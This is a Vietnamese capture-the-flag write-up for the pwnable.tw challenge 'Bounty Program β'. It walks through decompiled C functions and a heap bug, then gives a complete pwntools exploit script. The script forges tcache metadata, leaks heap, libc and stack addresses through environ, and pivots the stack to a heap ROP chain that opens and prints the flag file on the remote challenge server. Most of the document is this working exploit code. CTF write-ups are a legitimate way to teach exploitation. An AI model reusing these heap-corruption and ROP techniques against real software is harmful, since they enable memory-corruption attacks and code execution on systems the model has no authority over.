pwnable.tw

Bounty Program β

Vuln: Không kiểm tra NULL trước khi sử dụng strtok().

tl;dr: Bounty Program α

March 3, 2026 Hard

Recon

Mitigations và code của chall beta này gần như giống với chall alpha, với một số thay đổi ở code.

AddVulnType()

void AddVulnType()
{
  unsigned int size; // [rsp+8h] [rbp-18h]
  int price; // [rsp+Ch] [rbp-14h]
  char *type_name; // [rsp+10h] [rbp-10h]
  char *types; // [rsp+18h] [rbp-8h]

  printf("Size:");
  size = read_long();
  types = (char *)calloc(1uLL, size);
  puts("(Note:You can add many types at the same time)");
  puts("(Example: SQLI,Buffer overflow,LFI)");
  printf("Type:");
  read_input(types, size);
  for ( type_name = strtok(types, ","); type_name; type_name = strtok(0LL, ",") )
  {
    printf("type: %s\n", type_name);
    printf("Price:");
    price = read_long();
    if ( AllocateType(type_name, price) )
      puts("Success !");
    else
      puts(&byte_319F);
  }
  free(types);
}

Biến cục bộ size là unsigned int thay vì int64 như alpha.

Do là unsigned int, nên max chỉ nhập đc là 0xffffffff. Khi debug trên local thì rất bí, nghĩ rằng bug đã bị fix do kích thước 0xffffffff vẫn cấp phát đc, ko return về null, mặc dù trên remote thì vẫn đc. Và mình mới nhận ra lại rằng, return về null khi ko còn đủ bộ nhớ. Mà mình debug với ko giới hạn RAM, tất nhiên là vẫn cấp phát đc.

Trên server họ có thể sử dụng máy ảo, giới hạn RAM về nhỏ hơn nên calloc() size như vậy return về 0. Vậy mình cần limit lại lượng RAM process đc dùng trong exploit, thì mới debug ở local đc.

SubmitReport()

void SubmitReport()
{
  unsigned __int64 size; // [rsp+10h] [rbp-20h]
  BugReport *new_report; // [rsp+18h] [rbp-18h]
  Product *product; // [rsp+20h] [rbp-10h]
  unsigned __int64 product_id; // [rsp+28h] [rbp-8h]
  unsigned __int64 type_id; // [rsp+28h] [rbp-8h]

  new_report = (BugReport *)calloc(1uLL, 0x140uLL);
  if ( !new_report )
  {
    puts("Error !");
    _exit(-4);
  }
  ShowProduct();
  printf("Product ID:");
  product_id = read_long();
  if ( product_id <= 7
    && Products[product_id]
    && (product = Products[product_id], ShowTypes(), printf("Type:"), type_id = read_long(), type_id <= 7)
    && VulnTypes[type_id] )
  {
    new_report->type = VulnTypes[type_id];
    ++new_report->type->ref_count;
    new_report->owner = user;
    ++LODWORD(user->report_count);
    printf("Title:");
    read_input(new_report->title, 255);
    printf("ID:");
    LODWORD(new_report->id) = read_long();
    printf("Length of descripton:");
    size = read_long();
    if ( size <= 0x407 )
      size = 0x408LL;
    new_report->description = (char *)calloc(1uLL, size);// not using malloc
    if ( !new_report->description )
    {
      puts("Error !");
      _exit(-5);
    }
    printf("Descripton:");                      // not more filling random bytes
    read_input(new_report->description, size);
    new_report->description_size = size;
    new_report->next = 0LL;
    new_report->prev = 0LL;
    new_report->evaluated = 0;
    AddReportToProduct(product, new_report);
  }
  else
  {
    puts(&byte_319F);
    free(new_report);
  }
}

Cấp phát cho description ko còn dùng malloc() nữa, mà calloc(), và ko còn điền random bytes từ /dev/urandom vào description.

Nếu mình nhớ ko nhầm thì cấp phát User cũng bị thay thành calloc(). Nên bây giờ ko còn lời gọi malloc() nào nữa, ko còn lấy trực tiếp từ tcache được. Có strdup() thì vẫn gọi malloc() nhưng chỉ ghi đc đến null là dừng.

Solve

Ở chall này thì mình định sử dụng env var để thay đổi ptmalloc thế nào đó cho chall dễ nhai hơn, nhưng bản thân mình thấy ko có tác dụng mấy :/

Nên mình để nguyên tcache, giờ chỉ có thể lấy chunk trong tcache bằng strdup(), vì calloc() nó sẽ bỏ qua tcache.

Mình vẫn tận dụng chiêu cũ ở chall alpha đó là ghi đè 0x2c10 thành 0x0010 để control cả tcache, nhưng bây giờ chỉ strdup() nên lấy chunk từ tcache mình fengshui hơi rối rắm 1 chút.

Vì mục tiêu cuối cùng vẫn cần phải ROP nên mình cần leak stack. Để leak stack mình ghi địa chỉ environ vào description của một BugReport. Mình chán ghi đè hooks rồi, nên để ROP mình làm hơi phức tạp:

  1. Vì mình ko thể nào nghĩ ra cách kiểm soát fastbin hay unsortedbin, thoả mãn các check mà ko bị corrupt, nên mình ko thể calloc() thẳng đến return address mà ROP.
  2. Mình chơi bài sử dụng 2 lần strdup() (lấy chunk từ tcache đã kiểm soát) một cách cẩn thận để ghi pop rsi; ret + ROP chain address (trên heap) vào return address của hàm Bounty(), mình ko ghi vào AddVulnType() vì vướng types khi free().
  3. Khi return, mình pivot stack đến heap mà thực thi ROP chain.

Script

#!/usr/bin/env python3

from pwn import *
import os
import resource

def set_limits():
    resource.setrlimit(resource.RLIMIT_AS, (1 * 1024 * 1024 * 1024, 1 * 1024 * 1024 * 1024))

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda l, c: c * l
z = lambda l: l * b'\0'
A = lambda l: l * b'A'

e = context.binary = ELF('./bounty_program_patched', checksec=False)
libc = ELF('./libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so', checksec=False)
ld = ELF('./ld-linux-x86-64.so.2', checksec=False)

TERMINAL = 3
USE_PTY = True
GDB_ATTACH_DELAY = 1

match TERMINAL:
    case 1:
        context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
    case 2:
        context.terminal = ["tmux", "split-window", "-h"]
    case 3:
        context.terminal = ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe",
                            "-w", "0", "split-pane", "-V", "-s", "0.5",
                            "wsl.exe", "-d", "Ubuntu-24.04", "bash", "-c"]
    case _:
        raise ValueError(f"Unknown terminal: {TERMINAL}")
        
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
# brva 0x1601
# brva 0x15E9
# brva 0x20B7
# brva 0x1434
# brva 0x1355
# brva 0x1652
# brva 0x1555
# brva 0x1B4A
brva 0x1434
# brva 0x1601
# brva 0x183D
continue
'''

def attach(p):
    if args.GDB:
        gdb.attach(p, gdbscript=gdbscript)
        sleep(GDB_ATTACH_DELAY)

def conn():
    if args.LOCAL:
        env = os.environ.copy()
        # env["GLIBC_TUNABLES"] = "glibc.malloc.tcache_count=0"
        if USE_PTY:
            p = process([e.path], stdin=PTY, stdout=PTY, stderr=PTY, env=env, preexec_fn=set_limits)
        else:
            p = process([e.path], env=env, preexec_fn=set_limits)
        sleep(0.025)
        return p
    else:
        host = "chall.pwnable.tw"
        port = 10410
        return remote(host, port)

class TcachePerthread:
    MALLOC_ALIGNMENT = 0x10
    MINSIZE = 0x20

    def __init__(self):
        self.num_slots = [0] * 64
        self.entries = [0] * 64

    @staticmethod
    def size2idx(size):
        return (size - TcachePerthread.MINSIZE) // TcachePerthread.MALLOC_ALIGNMENT

    def set_count(self, size, count):
        self.num_slots[self.size2idx(size)] = count
        return self

    def set_entry(self, size, ptr):
        self.entries[self.size2idx(size)] = ptr
        return self

    def pack(self):
        data = b''
        for count in self.num_slots:
            data += p8(count)
        for entry in self.entries:
            data += p64(entry)
        return data
    
def Login(username, password):
    slan(p, b'choice', 1)
    sa(p, b'Username', username)
    sa(p, b'Password', password)
    sleep(0.05)
    
def Register(username, password, contact):
    slan(p, b'choice', 2)
    sa(p, b'Username', username)
    sa(p, b'Password', password)
    sa(p, b'Contact', contact)
    sleep(0.05)

def AddNewProduct(name, company, comment):
    slan(p, b'choice', 1)
    sa(p, b'Name', name)
    sa(p, b'Company', company)
    sa(p, b'Comment', comment)
    sleep(0.05)

def AddVulnType(size, type, price):
    slan(p, b'choice', 2)
    slan(p, b'Size', size)
    sa(p, b'Type', type)
    if price != -1:
        slan(p, b'Price', price)
    sleep(0.05)

def SubmitBugReport(product_id, type_id, title, bug_id, desc_len, description):
    slan(p, b'choice', 3)
    slan(p, b'Product', product_id)
    slan(p, b'Type:', type_id)
    sa(p, b'Title', title)
    slan(p, b'ID', bug_id)
    slan(p, b'Length', desc_len)
    sa(p, b'Descripton', description)
    sleep(0.05)

def RemoveVulnType(size, type):
    slan(p, b'choice', 4)
    slan(p, b'Size', size)
    sa(p, b'Type', type)
    sleep(0.05)

def ShowBugDetail(product_id):
    slan(p, b'choice', 6)
    slan(p, b'ID', product_id)
    sleep(0.05)

def DeleteReport(product_id, bug_id):
    slan(p, b'choice', 8)
    slan(p, b'Product ID', product_id)
    slan(p, b'Bug ID', bug_id)

username = password = b'ngtuonghung'
ub_size = 0x420
tcache_size = 0x240

attempt = 0
while True:
    attempt += 1
    print("\n----------> Attempt", attempt)
    
    p = conn()

    if not args.LOCAL:
        sa(p, b'Name', username)
        slan(p, b'Value', password)

    print("Register and login")
    Register(username, password, b'A')
    Login(username, password)

    # Bounty
    slan(p, b'choice', 1)

    print("Leaking heap address")
    AddVulnType(tcache_size, b'A', 0)
    AddVulnType(tcache_size, b'B', 0) # This only works since calloc skip tcache
    slan(p, b'choice', 2)
    slan(p, b'Size', -1)
    sa(p, b'Type', b'0')
    ru(p, b'type: ')
    heap_base = leak_bytes(b'\0' + rn(p, 5), 0x500)
    lg("heap base", heap_base)

    # Hoping for heap base address ends with 0x0000
    if heap_base & 0xffff != 0:
        print("Failed attempt, we're unlucky this time")
        p.close()
        continue
    
    print("We're lucky this time")

    print("Leaking libc address")
    AddVulnType(ub_size, b'C', 0)
    slan(p, b'choice', 2)
    slan(p, b'Size', -1)
    sa(p, b'Type', b'0')
    ru(p, b'type: ')
    libc.address = leak_bytes(b'\0' + rn(p, 5), 0x3ec000)
    lg("libc base", libc.address)

    # Clear types to create more
    RemoveVulnType(ub_size, b'XSS')
    RemoveVulnType(ub_size, b'DoS')
    RemoveVulnType(ub_size, b'A')
    RemoveVulnType(ub_size, b'B')
    RemoveVulnType(ub_size, b'C')

    AddNewProduct(b'iphone 18 pro max vip premium', b'4pple', b'A')
    SubmitBugReport(0, 0, b'A', 0, 0x2000-0x130, b'A')

    # Clear unsortedbin
    AddVulnType(ub_size, A(0x210-1), 0)

    # Allocatae chunk ends with 0x2c10 and free it to tcache bin 0x250
    RemoveVulnType(tcache_size, b'A')

    # Overwrite 0x2c with null, works since calloc() skip tcache
    AddVulnType(0x240, b'\0', -1)
    slan(p, b'choice', 2)
    slan(p, b'Size', -1)
    sa(p, b'Type', b'\0')
    slan(p, b'Price', 0)

    # Remove type to create more
    RemoveVulnType(ub_size, A(0x210-1))

    # Take 1 chunk from tcache 0x250 using strdup()
    AddVulnType(ub_size, A(tcache_size - 1), 0)
    # Allocate at 0x0010 using strdup()
    AddVulnType(ub_size, b'B' * (tcache_size - 1), 0)
    # Free to put in unsortedbin for later calloc()
    RemoveVulnType(ub_size, b'B' * (tcache_size - 1))

    # Remove types to create more
    RemoveVulnType(ub_size, b'RCE')
    RemoveVulnType(ub_size, A(tcache_size - 1))

    # Control tcache
    tcache = TcachePerthread()
    tcache.set_count(tcache_size + 0x10, 0)
    # Overwrite bug description pointer to environ to leak stack
    desc = heap_base + 0xce8
    tcache.set_entry(0x20, desc)

    AddVulnType(tcache_size, tcache.pack()[:tcache_size - 1], -1)

    print("Leaking stack address")
    environ = libc.symbols['__environ']
    lg("environ", environ)
    AddVulnType(ub_size, flat(A(0x10), environ), 0)

    ShowBugDetail(0)

    ru(p, b'Descripton > ')
    stack = leak_bytes(rn(p, 6))
    lg("stack", stack)

    # Control entire tcache again using the same trick above
    AddVulnType(ub_size, b'B' * (tcache_size - 1), 0)
    RemoveVulnType(ub_size, b'B' * (tcache_size - 1))

    tcache = TcachePerthread()
    # Prevent freeing to unsortedbin to avoid corruption
    tcache.set_count(0x250, 0)
    # To write pop rsp into return address of Bounty()
    tcache.set_entry(0x30, stack - 0x128)
    # To write rsp value after pop rsp
    tcache.set_entry(0x20, stack - 0x108)
    AddVulnType(0x240, tcache.pack()[:tcache_size - 1], -1)

    pop_rax = libc.address + 0x00000000000439c8
    pop_rdi = libc.address + 0x000000000002155f
    pop_rsi = libc.address + 0x0000000000023e6a
    pop_rdx = libc.address + 0x0000000000001b96
    pop_rsp = libc.address + 0x000000000011bd7c
    syscall = libc.address + 0x00000000000d2975
    
    ROP_chain_addr = heap_base + 0x3260
    flag_path = ROP_chain_addr + 0xd8
    flag_buf = flag_path + 0x20

    ROP_chain = flat(
        # open("/home/bounty_program/flag", 0, 0)
        pop_rdi, flag_path,
        pop_rsi, 0,
        pop_rdx, 0,
        pop_rax, 2,
        syscall,

        # read(4, buf, 0x100)
        pop_rdi, 4, # 3 is /dev/urandom
        pop_rsi, flag_buf,
        pop_rdx, 0x100,
        pop_rax, 0,
        syscall,

        # write(1, buf, 0x100)
        pop_rdi, 1,
        pop_rsi, flag_buf,
        pop_rdx, 0x100,
        pop_rax, 1,
        syscall,

        b'/home/bounty_program/flag\0'
    )
    # Write ROP chain onto heap
    SubmitBugReport(0, 0, b'A', 0, 0x100, ROP_chain)

    attach(p)
    sleep(0.5)

    # Stack pivot to heap to execute ROP chain
    AddVulnType(ub_size, p64(ROP_chain_addr),0)
    AddVulnType(ub_size, flat(A(0x18), pop_rsp),0)

    # Capture the flag
    slan(p, b'Your choice', 0)

    print(f'Flag: {ra(p, 2)}')
    p.close()
    break

Side note

Ko hiểu sao bài này mình nảy ra khá nhiều ý tưởng :)) Nhưng đều khá khó thực hiện.

Một trong số đó là mình định thay đổi max size của fastbins thành 0x410 bằng cách ghi vào global_max_fast, rồi làm đầy tcache để chunk rơi vào fastbins, để calloc() có thể lấy chunk đó và ROP. Nhưng mà mình nhớ là nó vướng cái index gì đó, do fastbins chỉ có 10 slot đến 0x80, đây là hẳn một technique khác để out-of-bound write vào libc thì phải?